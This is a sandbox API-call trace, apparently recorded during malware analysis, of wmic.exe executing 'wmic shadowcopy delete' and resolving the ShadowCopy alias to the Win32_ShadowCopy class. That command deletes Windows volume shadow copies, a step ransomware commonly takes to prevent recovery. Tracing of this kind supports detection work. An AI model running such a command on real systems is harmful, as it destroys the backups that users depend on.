	[0222.009] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="XML") returned 0x3
	[0222.009] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.009] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.009] SysStringLen (param_1="XML") returned 0x3
	[0222.010] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.010] malloc (_Size=0x30) returned 0x1bf46daa890
	[0222.010] malloc (_Size=0x18) returned 0x1bf46dad9b0
	[0222.010] free (_Block=0x1bf46dad9b0) 
	[0222.010] malloc (_Size=0x18) returned 0x1bf46dadd70
	[0222.010] malloc (_Size=0x18) returned 0x1bf46dadcb0
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] SysStringLen (param_1="TABLE") returned 0x5
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] SysStringLen (param_1="XML") returned 0x3
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] SysStringLen (param_1="texttablewsys") returned 0xd
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] SysStringLen (param_1="htable-sortby.xsl") returned 0x11
	[0222.010] SysStringLen (param_1="XML") returned 0x3
	[0222.010] SysStringLen (param_1="htable-sortby") returned 0xd
	[0222.010] malloc (_Size=0x30) returned 0x1bf46daab10
	[0222.010] malloc (_Size=0x18) returned 0x1bf46dadc50
	[0222.010] free (_Block=0x1bf46dadc50) 
	[0222.011] malloc (_Size=0x18) returned 0x1bf46dad890
	[0222.011] malloc (_Size=0x18) returned 0x1bf46dad910
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] SysStringLen (param_1="TABLE") returned 0x5
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.011] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] malloc (_Size=0x30) returned 0x1bf46daa4d0
	[0222.011] malloc (_Size=0x18) returned 0x1bf46daded0
	[0222.011] free (_Block=0x1bf46daded0) 
	[0222.011] malloc (_Size=0x18) returned 0x1bf46daddb0
	[0222.011] malloc (_Size=0x18) returned 0x1bf46dadc70
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] SysStringLen (param_1="TABLE") returned 0x5
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] SysStringLen (param_1="wmiclitableformat") returned 0x11
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13
	[0222.011] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.011] SysStringLen (param_1="wmiclimofformat") returned 0xf
	[0222.011] malloc (_Size=0x30) returned 0x1bf46daab50
	[0222.012] malloc (_Size=0x18) returned 0x1bf46daddd0
	[0222.012] free (_Block=0x1bf46daddd0) 
	[0222.012] malloc (_Size=0x18) returned 0x1bf46dadd30
	[0222.012] malloc (_Size=0x18) returned 0x1bf46dada90
	[0222.012] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.012] SysStringLen (param_1="TABLE") returned 0x5
	[0222.012] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.012] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.012] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.012] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.012] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.012] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.012] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.012] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.012] malloc (_Size=0x30) returned 0x1bf46daa8d0
	[0222.012] malloc (_Size=0x18) returned 0x1bf46dadef0
	[0222.012] free (_Block=0x1bf46dadef0) 
	[0222.013] malloc (_Size=0x18) returned 0x1bf46dadc50
	[0222.013] malloc (_Size=0x18) returned 0x1bf46dad9f0
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] SysStringLen (param_1="TABLE") returned 0x5
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] SysStringLen (param_1="texttablewsys.xsl") returned 0x11
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15
	[0222.013] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a
	[0222.013] SysStringLen (param_1="wmiclivalueformat") returned 0x11
	[0222.013] malloc (_Size=0x30) returned 0x1bf46daab90
	[0222.013] FreeThreadedDOMDocument:IUnknown:Release (This=0x1bf473194b0) returned 0x1
	[0222.013] FreeThreadedDOMDocument:IUnknown:Release (This=0x1bf47316f20) returned 0x0
	[0222.013] free (_Block=0x1bf46dab100) 
	[0222.013] GetCommandLineW () returned="wmic  shadowcopy delete"
	[0222.046] malloc (_Size=0x30) returned 0x1bf46daa690
	[0222.046] memcpy_s (in: _Destination=0x1bf46daa690, _DestinationSize=0x2e, _Source=0x1bf46e1211c, _SourceSize=0x2e | out: _Destination=0x1bf46daa690) returned 0x0
	[0222.046] malloc (_Size=0x18) returned 0x1bf46dadb10
	[0222.046] malloc (_Size=0x18) returned 0x1bf46dadb50
	[0222.046] malloc (_Size=0x18) returned 0x1bf46dadc90
	[0222.046] malloc (_Size=0x18) returned 0x1bf46dad930
	[0222.046] malloc (_Size=0x80) returned 0x1bf46dab420
	[0222.046] GetLocalTime (in: lpSystemTime=0xa2aac7fce8 | out: lpSystemTime=0xa2aac7fce8*(wYear=0x7e3, wMonth=0x5, wDayOfWeek=0x6, wDay=0x4, wHour=0x15, wMinute=0x26, wSecond=0x2e, wMilliseconds=0xeb)) 
	[0222.046] _vsnwprintf (in: _Buffer=0x1bf46dab420, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0xa2aac7fb98 | out: _Buffer="05-04-2019T21:38:46") returned 19
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] malloc (_Size=0x28) returned 0x1bf46da6000
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] malloc (_Size=0x28) returned 0x1bf46dae050
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.046] malloc (_Size=0x16) returned 0x1bf46dadfd0
	[0222.046] lstrlenW (lpString="shadowcopy") returned 10
	[0222.047] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81
	[0222.047] malloc (_Size=0x16) returned 0x1bf46daddd0
	[0222.047] malloc (_Size=0x8) returned 0x1bf46dae080
	[0222.047] free (_Block=0x0) 
	[0222.047] free (_Block=0x1bf46dadfd0) 
	[0222.047] lstrlenW (lpString="  shadowcopy delete") returned 19
	[0222.047] malloc (_Size=0xe) returned 0x1bf46daddf0
	[0222.047] lstrlenW (lpString="delete") returned 6
	[0222.047] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66
	[0222.047] malloc (_Size=0xe) returned 0x1bf46dadd10
	[0222.047] malloc (_Size=0x10) returned 0x1bf46dade10
	[0222.047] memmove_s (in: _Destination=0x1bf46dade10, _DestinationSize=0x8, _Source=0x1bf46dae080, _SourceSize=0x8 | out: _Destination=0x1bf46dade10) returned 0x0
	[0222.047] free (_Block=0x1bf46dae080) 
	[0222.047] free (_Block=0x0) 
	[0222.047] free (_Block=0x1bf46daddf0) 
	[0222.047] malloc (_Size=0x10) returned 0x1bf46dadfd0
	[0222.047] lstrlenW (lpString="QUIT") returned 4
	[0222.047] lstrlenW (lpString="shadowcopy") returned 10
	[0222.047] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3
	[0222.047] lstrlenW (lpString="EXIT") returned 4
	[0222.047] lstrlenW (lpString="shadowcopy") returned 10
	[0222.047] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3
	[0222.047] free (_Block=0x1bf46dadfd0) 
	[0222.047] WbemLocator:IUnknown:AddRef (This=0x1bf46e2c080) returned 0x2
	[0222.047] malloc (_Size=0x10) returned 0x1bf46dadb70
	[0222.047] lstrlenW (lpString="/") returned 1
	[0222.047] lstrlenW (lpString="shadowcopy") returned 10
	[0222.047] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3
	[0222.047] lstrlenW (lpString="-") returned 1
	[0222.047] lstrlenW (lpString="shadowcopy") returned 10
	[0222.047] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3
	[0222.048] lstrlenW (lpString="CLASS") returned 5
	[0222.048] lstrlenW (lpString="shadowcopy") returned 10
	[0222.048] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3
	[0222.048] lstrlenW (lpString="PATH") returned 4
	[0222.048] lstrlenW (lpString="shadowcopy") returned 10
	[0222.048] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3
	[0222.048] lstrlenW (lpString="CONTEXT") returned 7
	[0222.048] lstrlenW (lpString="shadowcopy") returned 10
	[0222.048] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3
	[0222.048] lstrlenW (lpString="shadowcopy") returned 10
	[0222.048] malloc (_Size=0x16) returned 0x1bf46dad990
	[0222.048] lstrlenW (lpString="shadowcopy") returned 10
	[0222.048] GetCurrentThreadId () returned 0xde4
	[0222.048] ??0CHString@@QEAA@XZ () returned 0xa2aac7fa50
	[0222.048] malloc (_Size=0x18) returned 0x1bf46dadf50
	[0222.048] malloc (_Size=0x18) returned 0x1bf46dada70
	[0222.048] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf46e2c080, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff75b987898 | out: ppNamespace=0x7ff75b987898*=0x1bf46e83eb0) returned 0x0
	[0224.747] free (_Block=0x1bf46dada70) 
	[0224.747] free (_Block=0x1bf46dadf50) 
	[0224.747] CoSetProxyBlanket (pProxy=0x1bf46e83eb0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0224.748] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0224.748] GetCurrentThreadId () returned 0xde4
	[0224.748] ??0CHString@@QEAA@XZ () returned 0xa2aac7f8e8
	[0224.748] malloc (_Size=0x18) returned 0x1bf46dadff0
	[0224.748] malloc (_Size=0x18) returned 0x1bf46dadc10
	[0224.748] malloc (_Size=0x18) returned 0x1bf46dad950
	[0224.748] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0224.748] SysStringLen (param_1="root\\cli") returned 0x8
	[0224.748] SysStringLen (param_1="\\") returned 0x1
	[0224.748] malloc (_Size=0x18) returned 0x1bf46dadc30
	[0224.748] SysStringLen (param_1="root\\cli\\") returned 0x9
	[0224.748] SysStringLen (param_1="ms_409") returned 0x6
	[0224.748] free (_Block=0x1bf46dad8b0) 
	[0224.749] free (_Block=0x1bf46dad950) 
	[0224.749] free (_Block=0x1bf46dadc10) 
	[0224.749] free (_Block=0x1bf46dadff0) 
	[0224.749] malloc (_Size=0x18) returned 0x1bf46dadb30
	[0224.749] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf46e2c080, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff75b9878a0 | out: ppNamespace=0x7ff75b9878a0*=0x1bf46e84210) returned 0x0
	[0225.517] free (_Block=0x1bf46dadb30) 
	[0225.517] free (_Block=0x1bf46dadc30) 
	[0225.517] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.517] GetCurrentThreadId () returned 0xde4
	[0225.517] ??0CHString@@QEAA@XZ () returned 0xa2aac7fa68
	[0225.517] malloc (_Size=0x18) returned 0x1bf46dadbb0
	[0225.517] malloc (_Size=0x18) returned 0x1bf46dada50
	[0225.517] malloc (_Size=0x18) returned 0x1bf46dadf10
	[0225.517] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28
	[0225.517] malloc (_Size=0x3a) returned 0x1bf46daeb40
	[0225.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff75b96ac40, cbMultiByte=-1, lpWideCharStr=0x1bf46daeb40, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29
	[0225.517] free (_Block=0x1bf46daeb40) 
	[0225.517] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0225.517] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c
	[0225.517] SysStringLen (param_1="shadowcopy") returned 0xa
	[0225.518] malloc (_Size=0x18) returned 0x1bf46dada70
	[0225.518] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26
	[0225.518] SysStringLen (param_1="'") returned 0x1
	[0225.518] free (_Block=0x1bf46dad8b0) 
	[0225.518] free (_Block=0x1bf46dadf10) 
	[0225.518] free (_Block=0x1bf46dada50) 
	[0225.518] free (_Block=0x1bf46dadbb0) 
	[0225.518] IWbemServices:GetObject (in: This=0x1bf46e83eb0, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0xa2aac7f990*=0x0, ppCallResult=0x0 | out: ppObject=0xa2aac7f990*=0x1bf46e970e0, ppCallResult=0x0) returned 0x0
	[0225.700] malloc (_Size=0x18) returned 0x1bf46dadc10
	[0225.700] IWbemClassObject:Get (in: This=0x1bf46e970e0, wszName="Target", lFlags=0, pVal=0xa2aac7f9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f9a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.700] free (_Block=0x1bf46dadc10) 
	[0225.700] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.700] malloc (_Size=0x3e) returned 0x1bf46daeb40
	[0225.700] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.701] malloc (_Size=0x18) returned 0x1bf46dad950
	[0225.701] IWbemClassObject:Get (in: This=0x1bf46e970e0, wszName="PWhere", lFlags=0, pVal=0xa2aac7f9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f9a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.701] free (_Block=0x1bf46dad950) 
	[0225.701] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0225.701] malloc (_Size=0x20) returned 0x1bf46daeb90
	[0225.701] lstrlenW (lpString=" Where ID = '#'") returned 15
	[0225.701] malloc (_Size=0x18) returned 0x1bf46dadb90
	[0225.701] IWbemClassObject:Get (in: This=0x1bf46e970e0, wszName="Connection", lFlags=0, pVal=0xa2aac7f9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f9a8*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46e97390, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.701] free (_Block=0x1bf46dadb90) 
	[0225.701] IUnknown:QueryInterface (in: This=0x1bf46e97390, riid=0x7ff75b970598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0xa2aac7f998 | out: ppvObject=0xa2aac7f998*=0x1bf46e97390) returned 0x0
	[0225.701] GetCurrentThreadId () returned 0xde4
	[0225.701] ??0CHString@@QEAA@XZ () returned 0xa2aac7f8b8
	[0225.701] malloc (_Size=0x18) returned 0x1bf46dad8d0
	[0225.701] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="Namespace", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.701] free (_Block=0x1bf46dad8d0) 
	[0225.701] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0225.701] malloc (_Size=0x16) returned 0x1bf46dada10
	[0225.701] lstrlenW (lpString="ROOT\\CIMV2") returned 10
	[0225.701] malloc (_Size=0x18) returned 0x1bf46dadc10
	[0225.701] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="Locale", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46e764f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.702] free (_Block=0x1bf46dadc10) 
	[0225.702] lstrlenW (lpString="ms_409") returned 6
	[0225.702] malloc (_Size=0xe) returned 0x1bf46dadad0
	[0225.702] lstrlenW (lpString="ms_409") returned 6
	[0225.702] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0225.702] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="User", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46e764f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.702] free (_Block=0x1bf46dad8b0) 
	[0225.702] malloc (_Size=0x18) returned 0x1bf46dadc30
	[0225.702] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="Password", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.702] free (_Block=0x1bf46dadc30) 
	[0225.702] malloc (_Size=0x18) returned 0x1bf46dad9b0
	[0225.702] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="Server", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.702] free (_Block=0x1bf46dad9b0) 
	[0225.702] lstrlenW (lpString=".") returned 1
	[0225.702] malloc (_Size=0x4) returned 0x1bf46daebc0
	[0225.702] lstrlenW (lpString=".") returned 1
	[0225.702] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0225.702] IWbemClassObject:Get (in: This=0x1bf46e97390, wszName="Authority", lFlags=0, pVal=0xa2aac7f8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46e764f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.702] free (_Block=0x1bf46dadab0) 
	[0225.702] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.703] IUnknown:Release (This=0x1bf46e97390) returned 0x1
	[0225.703] GetCurrentThreadId () returned 0xde4
	[0225.703] ??0CHString@@QEAA@XZ () returned 0xa2aac7f8b8
	[0225.703] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0225.703] IWbemClassObject:Get (in: This=0x1bf46e970e0, wszName="__RELPATH", lFlags=0, pVal=0xa2aac7f8c8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f8c8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.703] free (_Block=0x1bf46dadab0) 
	[0225.703] malloc (_Size=0x18) returned 0x1bf46dadcf0
	[0225.703] GetCurrentThreadId () returned 0xde4
	[0225.703] ??0CHString@@QEAA@XZ () returned 0xa2aac7f788
	[0225.703] ??0CHString@@QEAA@PEBG@Z () returned 0xa2aac7f7a0
	[0225.703] ??0CHString@@QEAA@AEBV0@@Z () returned 0xa2aac7f718
	[0225.703] ?Empty@CHString@@QEAAXXZ () returned 0x7ff850d2674c
	[0225.703] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x1bf46daebe0
	[0225.703] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b
	[0225.703] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xa2aac7f728
	[0225.703] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xa2aac7f720
	[0225.703] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xa2aac7f7a0
	[0225.703] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.703] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.703] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xa2aac7f6f0
	[0225.703] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xa2aac7f718
	[0225.703] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.703] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x1bf46daec50
	[0225.704] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa
	[0225.704] ?Left@CHString@@QEBA?AV1@H@Z () returned 0xa2aac7f728
	[0225.704] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0xa2aac7f720
	[0225.704] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0xa2aac7f7a0
	[0225.704] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.704] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.704] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0xa2aac7f6f0
	[0225.708] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0xa2aac7f718
	[0225.709] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.709] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ff850d26740
	[0225.709] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dadd50
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dad9b0
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dade50
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dad970
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dad9d0
	[0225.709] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c
	[0225.709] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dadb90
	[0225.709] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53
	[0225.709] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29
	[0225.709] malloc (_Size=0x18) returned 0x1bf46dadd90
	[0225.709] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c
	[0225.709] SysStringLen (param_1="\"") returned 0x1
	[0225.709] free (_Block=0x1bf46dadb90) 
	[0225.709] free (_Block=0x1bf46dad9d0) 
	[0225.709] free (_Block=0x1bf46dad970) 
	[0225.710] free (_Block=0x1bf46dade50) 
	[0225.710] free (_Block=0x1bf46dad9b0) 
	[0225.710] free (_Block=0x1bf46dadd50) 
	[0225.710] IWbemServices:GetObject (in: This=0x1bf46e84210, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0xa2aac7f768*=0x0, ppCallResult=0x0 | out: ppObject=0xa2aac7f768*=0x1bf46e97970, ppCallResult=0x0) returned 0x0
	[0225.809] malloc (_Size=0x18) returned 0x1bf46dada50
	[0225.809] IWbemClassObject:Get (in: This=0x1bf46e97970, wszName="Text", lFlags=0, pVal=0xa2aac7f7b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0xa2aac7f7b0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf46e7afc0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x1bf46e77810, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0
	[0225.809] free (_Block=0x1bf46dada50) 
	[0225.809] SafeArrayGetLBound (in: psa=0x1bf46e7afc0, nDim=0x1, plLbound=0xa2aac7f77c | out: plLbound=0xa2aac7f77c) returned 0x0
	[0225.809] SafeArrayGetUBound (in: psa=0x1bf46e7afc0, nDim=0x1, plUbound=0xa2aac7f780 | out: plUbound=0xa2aac7f780) returned 0x0
	[0225.809] SafeArrayGetElement (in: psa=0x1bf46e7afc0, rgIndices=0xa2aac7f778, pv=0xa2aac7f790 | out: pv=0xa2aac7f790) returned 0x0
	[0225.809] malloc (_Size=0x18) returned 0x1bf46dadbd0
	[0225.809] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0225.809] SysStringLen (param_1="Shadow copy management.") returned 0x17
	[0225.809] free (_Block=0x1bf46dadbd0) 
	[0225.810] IUnknown:Release (This=0x1bf46e97970) returned 0x0
	[0225.810] free (_Block=0x1bf46dadd90) 
	[0225.810] ??1CHString@@QEAA@XZ () returned 0x1
	[0225.810] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.810] free (_Block=0x1bf46dadcf0) 
	[0225.810] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
